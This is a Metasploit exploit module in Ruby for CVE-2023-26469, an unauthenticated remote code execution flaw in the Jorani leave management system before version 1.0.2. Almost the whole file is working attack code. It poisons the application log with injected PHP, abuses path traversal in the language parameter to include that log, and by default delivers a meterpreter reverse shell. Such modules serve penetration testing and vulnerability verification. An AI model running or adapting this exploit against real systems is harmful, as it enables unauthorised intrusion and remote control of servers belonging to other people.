Jorani Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jorani unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated Remote Code Execution in Jorani prior to 1.0.2.
          It abuses 3 vulnerabilities: log poisoning and redirection bypass via header spoofing, then it uses path traversal to trigger the vulnerability.
          It has been tested on Jorani 1.0.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'RIOUX Guilhem (jrjgjk)'
        ],
        'References' => [
          ['CVE', '2023-26469'],
          ['URL', 'https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py']
        ],
        'Platform' => %w[php],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Jorani < 1.0.2', {}]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp',
          'RPORT' => 443,
          'SSL' => true
        },
        'DisclosureDate' => '2023-01-06',
        'Privileged' => false,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path of Jorani', '/'])
      ]
    )
  end

  def get_version(res)
    footer_text = res.get_html_document.xpath('//div[contains(@id, "footer")]').text
    matches = footer_text.scan(/v([0-9.]+)/i)
    if matches.nil? || matches[0].nil?
      print_error('Cannot recovered Jorani version...')
      return nil
    end
    matches[0][0]
  end

  def service_running(res)
    matches = res.get_html_document.xpath('//head/meta[@description]/@description').text.downcase.scan(/leave management system/)
    if matches.nil?
      print_error("Jorani doesn't appear to be running on the target")
      return false
    end
    true
  end

  def recover_csrf(res)
    csrf_token = res.get_html_document.xpath('//input[@name="csrf_test_jorani"]/@value').text
    return csrf_token if csrf_token.length == 32

    nil
  end

  def check
    # For the check command
    print_status('Checking Jorani version')
    uri = normalize_uri(target_uri.path, 'index.php')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => "#{uri}/session/login"
    )

    if res.nil?
      return Exploit::CheckCode::Safe('There was a problem accessing the login page')
    end

    return Exploit::CheckCode::Safe unless service_running(res)

    print_good('Jorani seems to be running on the target!')

    current_version = get_version(res)
    return Exploit::CheckCode::Detected if current_version.nil?

    print_good("Found version: #{current_version}")
    current_version = Rex::Version.new(current_version)

    return Exploit::CheckCode::Appears if current_version < Rex::Version.new('1.0.2')

    Exploit::CheckCode::Safe
  end

  def exploit
    # Main function
    print_status('Trying to exploit LFI')

    path_trav_payload = '../../application/logs'
    header_name = Rex::Text.rand_text_alpha_upper(16)
    poison_payload = "<?php if(isset($_SERVER['HTTP_#{header_name}'])){ #{payload.encoded} } ?>"
    log_file_name = "log-#{Time.now.strftime('%Y-%m-%d')}"

    uri = normalize_uri(target_uri.path, 'index.php')

    res = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => "#{uri}/session/login"
    )

    if res.nil?
      print_error('There was a problem accessing the login page')
      return
    end

    print_status('Recovering CSRF token')
    csrf_tok = recover_csrf(res)
    if csrf_tok.nil?
      print_status('CSRF not found, doesn't mean its not vulnerable')
    else
      print_good("CSRF found: #{csrf_tok}")
    end
    print_status('Poisoning log with payload..')
    print_status('Sending 1st payload')

    send_request_cgi(
      'method' => 'POST',
      'keep_cookies' => true,
      'uri' => "#{uri}/session/login",
      'data' => "csrf_test_jorani=#{csrf_tok}&"                  
                'last_page=session/login&'                       
                "language=#{path_trav_payload}&"                 
                "login=#{Rex::Text.uri_encode(poison_payload)}&" 
                "CipheredValue=#{Rex::Text.rand_text_alpha(14)}"
    )

    print_status("Including poisoned log file #{log_file_name}.php")
    vprint_warning('The date on the attacker and victim machine must be the same for the exploit to be successful due to the timestamp on the poisoned log file. Be careful running this exploit around midnight across timezones.')
    print_good('Triggering payload')

    send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => "#{uri}/pages/view/#{log_file_name}",
      'headers' =>
      {
        'X-REQUESTED-WITH' => 'XMLHttpRequest',
        header_name => Rex::Text.rand_text_alpha(14)
      }
    )

    nil
  end
end